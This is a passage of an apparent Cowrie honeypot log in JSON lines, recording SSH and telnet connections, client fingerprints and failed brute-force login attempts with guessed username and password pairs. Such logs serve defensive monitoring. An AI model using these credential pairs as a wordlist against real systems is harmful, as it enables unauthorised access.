ha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:01:27.277209Z","src_ip":"103.189.208.13","session":"ebd5abf2ca66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Aa123456","message":"login attempt [server/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:01:28.297148Z","src_ip":"103.189.208.13","session":"ebd5abf2ca66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:01:29.546514Z","src_ip":"103.189.208.13","session":"ebd5abf2ca66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54324,"dst_ip":"159.203.135.109","dst_port":22,"session":"68f5b0df79b8","protocol":"ssh","message":"New connection: 190.242.109.42:54324 (159.203.135.109:22) [session: 68f5b0df79b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:01.678540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:01.684283Z","src_ip":"190.242.109.42","session":"68f5b0df79b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:01.787273Z","src_ip":"190.242.109.42","session":"68f5b0df79b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin1234","message":"login attempt [administrator/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:02.187576Z","src_ip":"190.242.109.42","session":"68f5b0df79b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:03.284096Z","src_ip":"190.242.109.42","session":"68f5b0df79b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.143.162.210","src_port":36478,"dst_ip":"10.17.0.5","dst_port":22,"session":"17778a327709","protocol":"ssh","message":"New connection: 3.143.162.210:36478 (10.17.0.5:22) [session: 17778a327709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:04.499030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:04.504562Z","src_ip":"3.143.162.210","session":"17778a327709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:04.528605Z","src_ip":"3.143.162.210","session":"17778a327709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:14.498263Z","src_ip":"3.143.162.210","session":"17778a327709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":42332,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a9f3ee37b8c","protocol":"ssh","message":"New connection: 103.189.208.13:42332 (159.203.135.109:22) [session: 3a9f3ee37b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:25.233224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:25.237892Z","src_ip":"103.189.208.13","session":"3a9f3ee37b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:25.485186Z","src_ip":"103.189.208.13","session":"3a9f3ee37b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5f4dcc3b5aa765d61d8327deb882cf99","message":"login attempt [ubuntu/5f4dcc3b5aa765d61d8327deb882cf99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:26.506283Z","src_ip":"103.189.208.13","session":"3a9f3ee37b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:27.756863Z","src_ip":"103.189.208.13","session":"3a9f3ee37b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.65.131.3","src_port":45711,"dst_ip":"10.17.0.5","dst_port":23,"session":"9534e51d5c71","protocol":"telnet","message":"New connection: 38.65.131.3:45711 (10.17.0.5:23) [session: 9534e51d5c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:38.094219Z"}
{"eventid":"cowrie.session.closed","duration":12.884137153625488,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:02:50.978235Z","src_ip":"38.65.131.3","session":"9534e51d5c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":44980,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5d8e013a53","protocol":"ssh","message":"New connection: 190.242.109.42:44980 (159.203.135.109:22) [session: 1e5d8e013a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:07.078776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:07.083818Z","src_ip":"190.242.109.42","session":"1e5d8e013a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:07.185228Z","src_ip":"190.242.109.42","session":"1e5d8e013a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"none","message":"login attempt [admin/none] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:07.621252Z","src_ip":"190.242.109.42","session":"1e5d8e013a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:08.724458Z","src_ip":"190.242.109.42","session":"1e5d8e013a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":59018,"dst_ip":"159.203.135.109","dst_port":22,"session":"03e1dfa7dbdb","protocol":"ssh","message":"New connection: 103.189.208.13:59018 (159.203.135.109:22) [session: 03e1dfa7dbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:23.648455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:23.653188Z","src_ip":"103.189.208.13","session":"03e1dfa7dbdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:23.900947Z","src_ip":"103.189.208.13","session":"03e1dfa7dbdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:24.926993Z","src_ip":"103.189.208.13","session":"03e1dfa7dbdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:26.182453Z","src_ip":"103.189.208.13","session":"03e1dfa7dbdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.95.153.122","src_port":20128,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc74226c9d1","protocol":"ssh","message":"New connection: 182.95.153.122:20128 (159.203.135.109:22) [session: 1fc74226c9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:32.781685Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.164.183.82","src_port":45798,"dst_ip":"159.203.135.109","dst_port":23,"session":"247a49f87c19","protocol":"telnet","message":"New connection: 141.164.183.82:45798 (159.203.135.109:23) [session: 247a49f87c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:03:50.695921Z"}
{"eventid":"cowrie.session.closed","duration":12.778033971786499,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:03.473880Z","src_ip":"141.164.183.82","session":"247a49f87c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":46170,"dst_ip":"10.17.0.5","dst_port":22,"session":"122a9522a6d4","protocol":"ssh","message":"New connection: 152.244.206.148:46170 (10.17.0.5:22) [session: 122a9522a6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:08.799372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:08.804007Z","src_ip":"152.244.206.148","session":"122a9522a6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:08.941132Z","src_ip":"152.244.206.148","session":"122a9522a6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Huawei12#$","message":"login attempt [ubuntu/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:09.526424Z","src_ip":"152.244.206.148","session":"122a9522a6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:10.669087Z","src_ip":"152.244.206.148","session":"122a9522a6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":35634,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e101281e2a","protocol":"ssh","message":"New connection: 190.242.109.42:35634 (159.203.135.109:22) [session: 17e101281e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:15.549377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:15.558691Z","src_ip":"190.242.109.42","session":"17e101281e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:15.656773Z","src_ip":"190.242.109.42","session":"17e101281e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345","message":"login attempt [frappe/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:16.078154Z","src_ip":"190.242.109.42","session":"17e101281e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:17.179516Z","src_ip":"190.242.109.42","session":"17e101281e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":49698,"dst_ip":"159.203.135.109","dst_port":22,"session":"c970af9dbf73","protocol":"ssh","message":"New connection: 103.189.208.13:49698 (159.203.135.109:22) [session: c970af9dbf73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:23.339394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:23.344970Z","src_ip":"103.189.208.13","session":"c970af9dbf73","protocol":"ssh"}
